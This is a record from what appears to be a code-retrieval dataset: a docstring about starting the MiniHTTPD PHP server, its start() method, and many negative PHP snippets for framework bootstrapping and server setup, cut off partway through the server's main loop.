"0.5044045", "0.50425273", "0.5041948", "0.50387526", "0.50365424", "0.50214976", "0.50198716", "0.5015887", "0.50050026", "0.49971658", "0.49870393", "0.49843416", "0.4983813", "0.4983348", "0.49814978", "0.49769574", "0.4976502", "0.49747792", "0.49696445", "0.49695507", "0.49692076", "0.4966998", "0.4966042" ]
0.0
-1
Public methods Initializes the server with the given configuration. This method will also spawn any configured FastCGI processes required at startup, and load the configured request handlers. Once initialized, it starts the main server loop.
public static function start($config) { // Add the config if (!is_array($config)) { trigger_error("Cannot start server, invalid configuration settings", E_USER_ERROR); } MHTTPD::addConfig($config); // Load the mime types info $mimes = @parse_ini_file(MHTTPD::getExepath().'lib\minihttpd\config\mimes.ini', true); MHTTPD::$config['Mimes'] = array_map('listToArray', $mimes['Mimes']); // Set the initial server info values MHTTPD::$info['software'] = 'MiniHTTPD/'.MHTTPD::VERSION.' ('.php_uname('s').')'; $addr = $config['Server']['address']; $port = $config['Server']['port']; MHTTPD::$info['signature'] = 'MiniHTTPD/'.MHTTPD::VERSION.' ('.php_uname('s').") Server at {$addr} Port {$port}"; MHTTPD::$info['launched'] = time(); // Spawn any FCGI processes MFCGI::$debug = MHTTPD::$debug; MFCGI::spawn(null, MHTTPD::$config); // Load the configured request handlers if (MHTTPD::$debug) {cecho(chrule()."\n");} foreach (MHTTPD::$config['Handlers'] as $type=>$handler) { if (class_exists($handler)) { if (MHTTPD::$debug) {cecho("Handler loaded ... $type\n");} MHTTPD::$handlers[$type] = new $handler; } } // Create the queue object for the handlers MHTTPD::$handlersQueue = new MHTTPD_Handlers_Queue(MHTTPD::$handlers); // Start running the main loop MHTTPD::$running = true; MHTTPD::main(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function start()\n {\n $this->registerDefaultServices();\n\n $this->handle($this->request->createFromGlobals());\n }", "private function run()\n {\n error_reporting(E_ALL|E_STRICT);\n $namespace = 'cli';\n if (defined('NAMESPACE')) {\n $namespace = constant('NAMESPACE');\n }\n elseif (isset($_SERVER, $_SERVER['SERVER_NAME'])) {\n $namespace = $_SERVER['SERVER_NAME'];\n }\n if (!defined('BOOTSTRAP_FILE')) {\n die('Please define BOOTSTRAP_FILE before calling Init::run()');\n }\n Zend_Registry::set('namespace', $namespace);\n try {\n $this->startTimer();\n $this->loadConfig(str_replace(array('.','-'), '_', $namespace));\n $this->setDebug();\n $this->initResources();\n $this->initTimezone();\n $this->initRequest(constant('BOOTSTRAP_FILE'), $namespace);\n $this->initLocale();\n $this->initTranslate();\n $this->initLogging($namespace);\n $this->parseRequest($namespace);\n } catch (WrappedException $we) {\n $this->spawnInitError($we);\n }\n }", "public function run()\n {\n $this->server->start();\n }", "public static function start()\n {\n if (self::$config === null) {\n self::$config = Config::get('routes');\n self::$mimeTypes = Config::get('mimetypes');\n }\n\n foreach (self::$config['routes'] as $route) {\n include self::$config['path'].$route.'.php';\n }\n }", "public function start()\n\t{\n\t\t$this->define_home_dir_constant();\n\t\t$this->register_root_namespace();\n\t\tspl_autoload_register(array($this, 'autoload'));\n\t}", "public function run()\n {\n $this->run_configuration();\n\n $this->request->plugins = $this->pluggins;\n\n $app = $this;\n\n $this->router->start($app);\n }", "public function init()\n\t{\n\t\t$this->update();\n\t\t\n\t\tif ($this->config->enable->value)\n\t\t{\n\t\t\t$this->bindSockets(\n\t\t\t\t$this->config->listen->value,\n\t\t\t\t$this->config->listenport->value\n\t\t\t);\n\t\t}\n\t}", "protected function setupServers()\n\t{\n\t\t$docRoot = realpath(__DIR__ . '/..') . '/web';\n $serverPort = self::choosePort(\n self::URL_SERVER_PORT_MIN,\n self::URL_SERVER_PORT_MAX\n );\n self::$webServerUrl = self::URL_SERVER_BASE . ':' . $serverPort;\n\t\t$server = new Server($docRoot, self::$webServerUrl);\n\n\t\t// Wait for an alive response\n $integrationRoot = realpath(__DIR__ . '/..');\n\t\t$server->setRouterScriptPath($integrationRoot . '/scripts/router.php');\n\t\t$server->setCheckAliveUri('/server-check');\n\n\t\t$this->addServer($server);\n\t}", "public function run(): void\n {\n $requestBody = $this->getConfig()->getInputAdapter()::getParsedBody();\n $request = ServerRequestFactory::fromGlobals(\n $_SERVER,\n $_GET,\n $requestBody,\n $_COOKIE,\n $_FILES\n );\n\n $queue = [];\n\n $queue[] = new \\Middlewares\\Emitter();\n $queue[] = new ErrorHandler([new JsonFormatter()]);\n $queue[] = (new \\Middlewares\\PhpSession())->name('VENUSSESSID')\n ->regenerateId(60); // Prevent session fixation attacks\n\n $queue[] = (new \\Middlewares\\FastRoute(\n $this->getConfig()->getDispatcher()\n ))->attribute('handler');\n\n $queue = array_merge($queue, $this->getConfig()->getMiddlewares());\n\n // Use router access permission check\n if ($this->getConfig()->usePermission()) {\n $queue[] = (new Permission(\n $this->getConfig()->getContainer()\n ))->handlerAttribute('handler');\n }\n\n $queue[] = (new RequestHandler(\n $this->getConfig()->getContainer()\n ))->handlerAttribute('handler');\n\n $dispatcher = new Dispatcher($queue);\n $dispatcher->dispatch($request);\n }", "protected function initialize()\n {\n $this->setupLogger();\n $this->writePidfile();\n $this->addDefaultHandlers();\n }", "public function init(ServerConfigurationInterface $serverConfig);", "private function serveStart()\n {\n if (static::$run) {\n return;\n }\n\n static::$run = true;\n\n print \"Running dev/build...\\n\";\n @exec(\"framework/sake dev/build flush=1 > /dev/null 2> /dev/null\");\n\n print \"Finding open port...\\n\";\n\n while (!$this->addressAvailable($this->getHost(), $this->getPort())) {\n $this->setPort($this->getPort() + 1);\n }\n\n if (!$this->running) {\n $host = $this->getHost();\n $port = $this->getPort();\n\n $hash = spl_object_hash($this);\n\n print \"Starting development server...\\n\";\n $command = \"framework/sake dev/tasks/SilverStripe-Serve-Task hash={$hash} host={$host} port={$port} > /dev/null 2> /dev/null &\";\n\n exec($command, $output);\n\n $command = \"ps -o pid,command | grep {$hash}\";\n @exec($command, $output);\n\n if (count($output) > 0) {\n foreach ($output as $line) {\n $parts = explode(\" \", $line);\n $this->pid[] = $parts[0];\n }\n }\n\n sleep(1);\n }\n }", "public function init()\n\t{\n\t\t$this->serversInit();\n\t}", "public function __construct()\n\t{\n\t\tself::$classRouter\t= RecursiveRouter::class;\n\t\tself::$configFile\t= \"config/config.ini\";\n\t\t$this->detectSelf( FALSE );\n\t\t$this->uri\t= getCwd().'/';\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// hack for console jobs\n\t\t$this->initClock();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// setup clock\n\t\t$this->initConfiguration();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// setup configuration\n\t\t$this->initModules();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// setup module support\n\t\t$this->initDatabase();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// setup database connection\n\t\t$this->initCache();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// setup cache support\n\t\t$this->initRequest();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// setup HTTP request handler\n\t\t$this->initResponse();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// setup HTTP response handler\n\t\t$this->initRouter();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// setup request router\n\t\t$this->initLanguage();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// [DO NOT] setup language support\n\t\t$this->initPage();\n\t\t$this->__onInit();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// call init event (implemented by extending classes)\n\t\tif( $this->getModules()->has( 'Resource_Database' ) )\n\t\t\t$this->dbc->query( 'SET NAMES \"utf8\"' );\t\t\t\t\t\t\t\t\t\t\t\t// ...\n\t}", "public static function start($config) {\n\t\ttry {\n\n\t\t\tset_error_handler(function ($err_severity, $err_msg, $err_file, $err_line, array $err_context) {\n\t\t\t if (0 === error_reporting()) { return false;}\n\t\t\t if(!self::_initError($err_msg, $err_file, $err_line)) {\n\t\t\t \tthrow new Exception ($err_msg . \" | File: \". $err_file .\"(\". $err_line .\")\", 0);\n\t\t\t }\n\t\t\t\t\n\t\t\t});\n\n\t\t\tself::$_config = include $config;\n\n\t\t\t// Missing htaccess web server files\n\t\t\tself::_initHtaccess();\n\t\t\t\n\t\t\t// Checks if PHP is greater than 7\n\t\t\tself::_initPHP();\n\n\t\t\tdefine(\"FRAMEWORK\", __DIR__);\n\t\t\tdefine('APP', self::config('appDir'));\n\t\t\tdefine(\"RUNTIME\", $_SERVER[\"DOCUMENT_ROOT\"] . \"/\" . SBJ::config(\"runtimeDir\"));\n\t\t\tdefine(\"ROOT\", $_SERVER[\"DOCUMENT_ROOT\"]);\n\t\t\tdefine(\"CONFIG_DIR\", dirname($config));\n\t\t\tdefine(\"CONFIG_PATH\", $config);\n\n\t\t\tif (!defined( \"PATH_SEPARATOR\" )) { \n\t\t\t\tif (strpos( $_ENV[ \"OS\" ], \"Win\") !== false ) \n\t\t\t\t\tdefine( \"PATH_SEPARATOR\", \";\" ); \n\t\t\t\telse define( \"PATH_SEPARATOR\", \":\" ); \n\t\t\t} \n\t\t\tset_include_path(APP . self::config('controllerDir') .'/'. PATH_SEPARATOR . APP . self::config('modelDir') .'/'. PATH_SEPARATOR. FRAMEWORK . '/'. PATH_SEPARATOR . FRAMEWORK . '/base/');\n\t\t\tspl_autoload_register(function ($class) {\n\t\t\t\tinclude $class . '.class.php';\n\t\t\t});\n\n\t\t\t// Parse URL and write controller and action to constants (CONTROLLER, ACTION)\n\t\t\tURL::init();\n\n\t\t\t$error = explode(\"/\", self::config(\"error_404\"));\n\n\n\t\t\tif(false === self::_initAction(CONTROLLER, ACTION) && false == self::_initAction($error[0], $error[1])) {\n\t\t\t\tthrow new Exception(\"Not Found \". CONTROLLER . \" / \" . ACTION, 404);\n\t\t\t};\n\n\t\t} catch (Exception $e) {\n\t\t\tself::_displayError($e);\n\t\t} catch (Error $e) {\n\t\t\tself::_displayError($e);\n\t\t} catch (Throwable $e) {\n\t\t\tself::_displayError($e);\n\n\t\t}\n\t}", "function start_application() {\n\t// The SAPI type is cgi-fcgi when accessed from the browser.\n\tif (PHP_SAPI === 'cgi-fcgi') {\n\t\t// Force secure site.\n\t\tif (FORCE_SECURE) {\n\t\t\tredirect_to_https();\n\t\t}\n\t}\n\n\trequire ABSPATH . 'vendor/autoload.php';\n\n\t// Make sure OpenOffice is running.\n\t// start_openoffice();\n\n\t// Include base classes.\n\tinclude_classes();\n\n\t// Include controllers.\n\tinclude_controllers();\n\n\t// Activate query string parameters.\n\tinclude_query_string();\n}", "public function __construct()\n\t{\n\t\t$configuration = new Config();\n\t\t// Configure socket server\n\t\tparent::__construct($configuration->socket_host, $configuration->socket_controller_port);\n\n\t\t// Run the server\n\t\t$this->run();\n\t}", "public function __construct()\n {\n $this->http = new swoole_http_server(self::HOST, self::PORT);\n\n $this->http->set([\n \"enable_static_handler\" => true,\n \"document_root\" => \"/home/alex/study/thinkphp/public/static/\",\n 'worker_num' => 2,\n 'task_worker_num' => 2,\n\n ]);\n\n $this->http->on(\"WorkerStart\", [$this, 'onWorkerStart']);\n $this->http->on(\"request\", [$this, 'onRequest']);\n $this->http->on(\"task\", [$this, 'onTask']);\n $this->http->on(\"finish\", [$this, 'onFinish']);\n $this->http->on(\"close\", [$this, 'onClose']);\n\n\n $this->http->start();\n }", "public function init() {\n #Get bootstrap object.\n $bootstrap = $this->getInvokeArg('bootstrap');\n #Get Logger\n $this->log = $bootstrap->getResource('Log');\n #Get Doctrine Entity Manager\n $this->em = $bootstrap->getContainer()->get('entity.manager');\n #Get config\n $this->config = $bootstrap->getContainer()->get('config');\n\n #Init REST Server\n $this->_server = new Server($this->getRequest());\n $aliases = array(\n 'resources' \t=> self::RESOURCES,\n 'variations' \t=> self::VARIATIONS,\n 'galleries' \t=> self::GALLERIES,\n 'pages' \t\t=> self::PAGES,\n 'menuitems' => self::MenuItems,\n 'templates' \t=> self::TEMPLATES,\n 'tvars' \t\t=> self::TVARS,\n 'tvarconts' \t=> self::TVARCONTENTS,\n 'users' \t\t=> self::USERS,\n 'blog' \t\t=> self::BLOGITEMS,\n 'discounts' \t=> self::DISCOUNTS,\n 'vcard' \t\t=> self::HCARDS,\n 'categories' \t=> self::CATEGORIES,\n 'tags' \t\t=> self::TAGS,\n 'settings' \t\t=> self::SETTINGS,\n 'addresses' \t=> self::ADDRESSES,\n 'metadata' \t\t=> self::METADATA,\n 'homepageitems' => self::HOMEPAGEITEMS,\n 'homepage' \t\t=> self::HOMEPAGE,\n 'brands'\t\t=> self::BRANDS,\n 'products'\t\t=> self::PRODUCTS,\n 'looks'\t\t\t=> self::LOOKS,\n 'grids'\t\t\t=> self::GRIDS,\n 'acluserroles'\t=> self::ACLUSERROLES,\n 'collections' => self::COLLECTIONS,\n );\n $actions = array(\n 'auth' => self::AUTH,\n 'mediabrowser' => self::MEDIABROWSER,\n 'mediavariations' => self::MEDIA_VARIATIONS,\n 'search' => self::SEARCH,\n 'videos' => self::RESOURCES_VIDEOS\n );\n $this->_server->setAliases($aliases);\n $this->_server->setActions($actions);\n $this->method = $this->_server->getResponseActionName();\n $this->_repo = $this->_server->execute();\n\n #Enable Context Switching\n $contextSwitch = $this->_helper->getHelper('contextSwitch');\n $contextSwitch\n ->addActionContext('index', array('xml', 'json'))\n ->addActionContext('get', array('xml', 'json'))\n ->addActionContext('put', array('xml', 'json'))\n ->addActionContext('post', array('xml', 'json'))\n ->addActionContext('delete', array('xml', 'json'))\n ->addActionContext('head', array('xml', 'json'))\n ->addActionContext('option', array('xml', 'json'))\n ->setAutoJsonSerialization(true)\n ->initContext();\n #disable view rendering\n //$this->_helper->viewRenderer->setNeverRender(true);\n $this->_helper->viewRenderer->setNoRender(true);\n $this->_helper->layout->disableLayout();\n #Set Action Name for Request.\n if ($this->_server->getActionType() == 'action') {\n $this->method = 'method';\n }\n #Authentication\n// $this->_server->setPassword($password)->setUsername($username);\n #Security Options ::\n #Get Acl Object\n #TODO Set auth request inside server to allow you to use auth\n #Get Zend Auth.\n// $this->auth = Zend_Auth::getInstance();\n// if(!$this->auth->hasIdentity()) {\n// $this->_redirect('/admin/auth/login/');\n// }\n $this->getRequest()->setActionName($this->method);\n $this->view->response = \"\";\n $this->log->info(get_class($this) . '::init(' . $this->method . ')');\n #Allow xml to use view rendering.\n if ($this->getRequest()->getParam('format') == 'xml') {\n $this->_helper->viewRenderer->setNoRender(false);\n }\n// #TODO Find a way to allow entity to decide how it should interact with REST?\n// $reader = new AnnotationReader();\n// $reflClass = new \\ReflectionClass($this->_server->getActiveNamespace());\n// $classAnnotations = $reader->getClassAnnotations($reflClass);\n// $reflProperties = $reflClass->getProperties();\n// $mappedConstants = $reflClass->getConstants();\n// $this->log->info($classAnnotations);\n// foreach($reflProperties as $property) {\n// $reflProperties = new \\ReflectionProperty($property->class, $property->name);\n// $annotations = $reader->getPropertyAnnotations($reflProperties);\n// $this->log->info($property);\n// $this->log->info($annotations);\n// }\n// $this->log->info(\"EO Props\");\n\n $this->messageQueue = $this->_helper->getHelper('FlashMessenger');\n $this->view->messages = $this->messageQueue->getMessages();\n\n $frontendOptions = array(\n 'lifetime' => self::CACHE_LIFETIME, // cache lifetime of 2 hours\n 'automatic_serialization' => true\n );\n\n $backendOptions = array(\n 'cache_dir' => WEB_PATH . self::CACHE_DIR // Directory where to put the cache files\n );\n\n // getting a Zend_Cache_Core object\n $this->cache = \\Zend_Cache::factory('Core',\n 'File',\n $frontendOptions,\n $backendOptions);\n }", "private function start()\n {\n // CSRF Watchdog\n $this->csrfWatchdog();\n\n // Retrieve and other services\n $this->retriever->watchdog();\n\n // Router Templater Hybrid\n $this->renderer->route();\n }", "public function init()\n {\n parent::init();\n\n $this->command('serve', Serve::class);\n }", "private function startup()\n\t{\n\t\t$this->registerSigHandlers();\n\t\t$this->pruneDeadWorkers();\n\t\tEvent::trigger('beforeFirstFork', $this);\n\t\t$this->registerWorker();\n\t}", "public static function Init ()\r\n\t{\r\n\t\t$sessions = config('sessions');\r\n\r\n\t\tif ($sessions) {\r\n\t\t\tforeach ($sessions as $sid => $cfg)\r\n\t\t\t{\r\n\t\t\t\t// We are creating a new session based on our config file definitions,\r\n\t\t\t\t// so its safer to use createSession than getSession, since we're sure\r\n\t\t\t\t// there's no session in the instances container with same SID.\r\n\t\t\t\tself::$instances->$sid = self::createSession($sid, $cfg);\r\n\t\t\t\tif (true == self::$instances->$sid->autostart) {\r\n\t\t\t\t\tself::$instances->$sid->start();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}", "public static function Initialize()\n\t\t{\n\t\t\tself::SetIniDirectives();\n\t\t\tself::AddRoutes();\n\t\t}", "protected function configureSwooleServer()\n {\n $config = $this->container['config']->get('swoole.server');\n\n $this->server->set($config);\n }", "private function init($serverData = null)\n {\n //Use global most of the time\n if (is_null($serverData)) {\n $serverData = $_SERVER;\n }\n\n //Get the protocol and port\n $this->port = (strpos($serverData['HTTP_HOST'], ':'))\n ? end(explode(':', $serverData['HTTP_HOST']))\n : $serverData['SERVER_PORT'];\n $this->protocol = ($this->port == 443 || ( ! empty($serverData['HTTPS']) && $serverData['HTTPS'] == 'on')) ? 'https' : 'http';\n $this->https = ($this->protocol == 'https');\n\n //Get the server name\n $this->hostname = (isset($serverData['SERVER_NAME'])) ? $serverData['SERVER_NAME'] : $serverData['HTTP_HOST'];\n $this->hostIP = $serverData['SERVER_ADDR'];\n\n //Get the base URL path & script name\n $scriptname = basename($serverData['SCRIPT_FILENAME']);\n $this->basepath = str_replace($scriptname, '', $serverData['SCRIPT_NAME']);\n\n //Set the script name.\n if (strpos($serverData['REQUEST_URI'], $scriptname) !== false) {\n $this->scriptname = $scriptname;\n }\n else {\n $this->scriptname = '';\n }\n\n //Set the request_uri\n $reqURI = explode('?', $serverData['REQUEST_URI'], 2);\n $reqURI = $this->reduceDoubleSlashes(array_shift($reqURI));\n\n //The query string\n $this->query = $serverData['QUERY_STRING'];\n\n //Get the PATH\n $pathinfo = substr($reqURI, strlen($this->basepath . $this->scriptname));\n\n $segments = array();\n if ( ! empty($pathinfo)) {\n $arr = array_values(array_filter(explode('/', $pathinfo)));\n for($i = 0; $i < count($arr); $i++)\n $segments[($i+1)] = $arr[$i];\n }\n $this->path = implode('/', $segments);\n\n //Build the baseurl and currenturl\n if (($this->protocol == 'https' && $this->port != 443) OR ($this->protocol == 'http' && $this->port != 80))\n $port = ':' . $this->port;\n else\n $port = '';\n\n $this->baseurl = $this->reduceDoubleSlashes($this->protocol . '://' . $this->hostname . $port . '/' . $this->basepath . '/');\n $this->appurl = $this->reduceDoubleSlashes($this->baseurl . $this->scriptname . '/');\n\n $this->currenturl = $this->reduceDoubleSlashes($this->appurl . '/' . $this->path);\n $this->fullurl = ( ! empty($this->query)) ? $this->currenturl . '?' . $serverData['QUERY_STRING'] : $this->currenturl;\n }", "public static function initialize()\n {\n // Load Global Functions\n self::loadGlobalFunctions();\n\n // Load the configuration into system\n if (! IOFunctions::loadConfig()) {\n exit();\n }\n\n // Enabele error reporting\n ini_set('display_errors', 0);\n ini_set('display_startup_errors', 0);\n error_reporting(E_ALL);\n if (sf_conf('system.display_errors')) {\n ini_set('display_errors', 1);\n ini_set('display_startup_errors', 1);\n }\n\n // Set error handler and shutdown hook\n set_error_handler('\\\\Synful\\\\IO\\\\IOFunctions::catchError', E_ALL);\n register_shutdown_function('\\\\Synful\\\\IO\\\\IOFunctions::onShutDown');\n\n // Check Cross Origin Resource Sharing\n if (sf_conf('system.cors_enabled')) {\n if (in_array('all', sf_conf('system.cors_domains'))) {\n header('Access-Control-Allow-Origin: *');\n } else {\n foreach (sf_conf('system.cors_domains') as $domain) {\n if ($_SERVER['HTTP_ORIGIN'] == $domain) {\n header('Access-Control-Allow-Origin: '.$domain);\n break;\n }\n }\n }\n }\n\n // Check global rate limiter\n if (sf_conf('rate.global')) {\n if (! RateLimit::global()->isUnlimited()) {\n if (RateLimit::global()->isLimited(self::getClientIP())) {\n $response = (new SynfulException(500, 1028))->response;\n sf_respond($response->code, $response->serialize());\n exit;\n }\n }\n }\n\n // Load Template Plugins\n if (sf_conf('templating.enabled')) {\n self::loadTemplatePlugins();\n }\n\n // Initialize the Database Connections\n self::initializeDatabases();\n\n // Load routes\n self::loadRoutes();\n\n // Parse Command Line\n if (self::isCommandLineInterface()) {\n global $argv;\n $commandLine = new CommandLine();\n $results = $commandLine->parse($argv);\n\n // Output Results\n if ((array_key_exists('hc', $results) && ! $results['hc']) ||\n ! array_key_exists('hc', $results)) {\n if (array_key_exists('cl', $results)) {\n $str = (sf_conf('system.color')) ? 'true' : 'false';\n sf_note('CONFIG: Set console color to \\''.$str.'\\'.');\n }\n\n if (array_key_exists('o', $results)) {\n sf_note('CONFIG: Set output level to \\''.$results['o'].'\\'.');\n }\n }\n\n if ((count($argv) < 2 || substr($argv[1], 0, 7) == '-output' ||\n substr($argv[1], 0, 2) == '-o')) {\n $commandLine->printUsage();\n exit(3);\n }\n\n self::$command_results = $results;\n }\n\n // Initialize WebListener\n (new WebListener())->initialize();\n }", "public static function setUpBeforeClass()\n {\n /*\n * First, start the PHP build-in server:\n * php -S 127.0.0.1:8000 -t PHP/Compound/MVC/Public\n */\n self::$process = new Process('php -S 127.0.0.1:8000 -t PHP/Compound/MVC/Public');\n self::$process->start();\n\n /*\n * Wait for server\n */\n usleep(100000);\n }", "protected static function main()\n\t{\n\t\t// Create a TCP/SSL server socket context\n\t\t$context = MHTTPD::getContext();\n\t\t\n\t\t// Start the listener\n\t\tMHTTPD::createListener($context);\n\n\t\t// Initialize some handy vars\n\t\t$timeout = ini_get('default_socket_timeout');\n\t\t$maxClients = MHTTPD::$config['Server']['max_clients'];\n\t\t$maxHeaderBlockSize = MHTTPD_Message::getMaxHeaderBlockSize();\n\t\tif (MHTTPD::$debug) {\n\t\t\t$listener_name = stream_socket_get_name(MHTTPD::$listener, false);\n\t\t}\n\t\t\n\t\t// Start the browser\n\t\tMHTTPD::launchBrowser();\n\t\t\n\t\t// The main loop\n\t\twhile (MHTTPD::$running) \t{\t\n\t\t\n\t\t\t// Build a list of active streams to monitor\n\t\t\t$read = array('listener' => MHTTPD::$listener);\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t\t\t\t\t\t\n\t\t\t\t// Add any client sockets\n\t\t\t\tif ($csock = $client->getSocket()) {\n\t\t\t\t\t$read[\"client_$i\"] = $csock;\n\t\t\t\t\t\n\t\t\t\t\t// Add any client FCGI sockets\n\t\t\t\t\tif ($cfsock = $client->getFCGISocket()) {\n\t\t\t\t\t\t$read[\"clfcgi_$i\"] = $cfsock;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Add any client file streams\n\t\t\t\t\tif ($client->isStreaming()) {\n\t\t\t\t\t\t$read[\"clstrm_$i\"] = $client->getStream();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Add any aborted FCGI requests\n\t\t\tforeach (MHTTPD::$aborted as $aID=>$ab) {\n\t\t\t\t$read['aborted_'.$aID.'_'.$ab['client'].'_'.$ab['pid']] = $ab['socket'];\n\t\t\t}\n\n\t\t\tif (MHTTPD::$debug) {\n\t\t\t\tcecho(\"FCGI scoreboard:\\n\"); cprint_r(MFCGI::getScoreboard(true)); cecho(\"\\n\");\n\t\t\t\tcecho(\"Pre-select:\\n\"); cprint_r($read);\n\t\t\t\tcecho(chrule().\"\\n>>>> Waiting for server activity ($listener_name)\\n\".chrule().\"\\n\\n\");\n\t\t\t}\n\n\t\t\t// Wait for any new activity\n\t\t\tif (!($ready = @stream_select($read, $write=null, $error=null, null))) {\n\t\t\t\ttrigger_error(\"Could not select streams\", E_USER_WARNING);\n\t\t\t}\n\t\t\t\n\t\t\tif (MHTTPD::$debug) {cecho(\"Post-select:\\n\"); cprint_r($read);}\n\t\t\t\t\t\t\n\t\t\t// Check if the listener has a new client connection\n\t\t\tif (in_array(MHTTPD::$listener, $read)) {\n\t\t\t\t\n\t\t\t\t// Search for a free slot to add the new client\n\t\t\t\tfor ($i = 1; $i <= $maxClients; $i++) {\n\t\t\t\t\t\n\t\t\t\t\tif (!isset(MHTTPD::$clients[$i])) {\n\t\t\t\t\t\t\n\t\t\t\t\t\t// This slot is free, so add the new client connection\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"New client ($i): \");}\n\t\t\t\t\t\tif (!($sock = @stream_socket_accept(MHTTPD::$listener, $timeout, $peername))) {\n\t\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"\\nCould not accept client stream\\n\");}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"$peername\\n\");}\n\t\t\t\t\t\t$client = new MHTTPD_Client($i, $sock, $peername);\n\t\t\t\t\t\t$client->debug = MHTTPD::$debug;\n\t\t\t\t\t\tMHTTPD::$clients[$i] = $client;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\t\t} elseif ($i == $maxClients) {\n\t\t\t\t\t\t\n\t\t\t\t\t\t// No free slots, so the request goes to the backlog\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"No free client slots!\\n\");}\n\t\t\t\t\t\ttrigger_error(\"Too many clients\", E_USER_NOTICE);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Return to waiting if only the listener is active\n\t\t\t\tif ($ready == 1) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"No other connections to handle\\n\\n\");}\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Handle any incoming client data on selected sockets\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t \n\t\t\t\tif (MHTTPD::$debug) {cecho(\"Client ($i) ... \");}\n\t\t\t\t$csock = $client->getSocket();\n\n\t\t\t\t// Handle any new client requests\n\t\t\t\tif ($client->isReady() && $csock && in_array($csock, $read)) {\n\t\t\t\t\n\t\t\t\t\t// Start reading the request\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"reading ... \");}\n\t\t\t\t\t$client->setTimeout(10);\n\t\t\t\t\t$input = '';\n\t\t\t\t\t\n\t\t\t\t\t// Get the request header block only\n\t\t\t\t\twhile ($buffer = @fgets($csock, 1024)) {\n\t\t\t\t\t\t$input .= $buffer;\n\t\t\t\t\t\tif ($buffer == '' || substr($input, -4) == \"\\r\\n\\r\\n\" \n\t\t\t\t\t\t\t|| strlen($input) > $maxHeaderBlockSize\n\t\t\t\t\t\t\t) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ($input) {\n\t\t\t\t\t\n\t\t\t\t\t\t// Store the headers and process the request\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"done\\n\");}\n\t\t\t\t\t\t$client->setInput(trim($input));\n\t\t\t\t\t\tif (!$client->processRequest() && !$client->needsAuthorization()) {\n\t\t\t\t\t\t\tMHTTPD::removeClient($client);\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\t\n\t\t\t\t\t\t// No request data, client is disconnecting\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"disconnected\\n\");}\n\t\t\t\t\t\tMHTTPD::removeClient($client);\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Handle any request body data\n\t\t\t\t} elseif ($client->isPosting() && $csock && in_array($csock, $read)) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"reading body \");}\n\t\t\t\t\t$client->readRequestBody();\n\t\t\t\t\n\t\t\t\t// Handle any disconnects or malformed requests\n\t\t\t\t} elseif ($csock && in_array($csock, $read)) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"aborted connection\\n\");}\n\t\t\t\t\tMHTTPD::removeClient($client);\n\t\t\t\t\tcontinue;\n\t\t\t\t\n\t\t\t\t// Handle any inactive client connections\n\t\t\t\t} else {\n\t\t\t\t\tif (MHTTPD::$debug) {\n\t\t\t\t\t\tcecho('inactive (');\n\t\t\t\t\t\tcecho('req:'.$client->hasRequest());\n\t\t\t\t\t\tcecho(' resp:'.$client->hasResponse());\n\t\t\t\t\t\tcecho(' fcgi:'.$client->hasFCGI());\n\t\t\t\t\t\tcecho(\")\\n\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Handle any incoming FCGI responses\n\t\t\t\tif (($clfsock = $client->getFCGISocket()) && in_array($clfsock, $read)) {\n\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"Client ($i) ... reading FCGI socket: {$clfsock}\\n\");}\n\t\t\t\t\tif (!$client->readFCGIResponse()) {\n\t\t\t\t\t\tMHTTPD::removeClient($client); // abort any hanging connections\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Handle any outgoing FCGI requests\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t\t\tif ($client->hasFCGI() && !$client->hasSentFCGI()\n\t\t\t\t\t&& (!$client->isPosting() || $client->hasFullRequestBuffer())\n\t\t\t\t\t) {\n\t\t\t\t\tif (MHTTPD::$debug){cecho(\"Client ($i) ... sending FCGI request\\n\");}\n\t\t\t\t\tif (!$client->sendFCGIRequest()) {\n\t\t\t\t\t\tMHTTPD::removeClient($client); // abort any failed 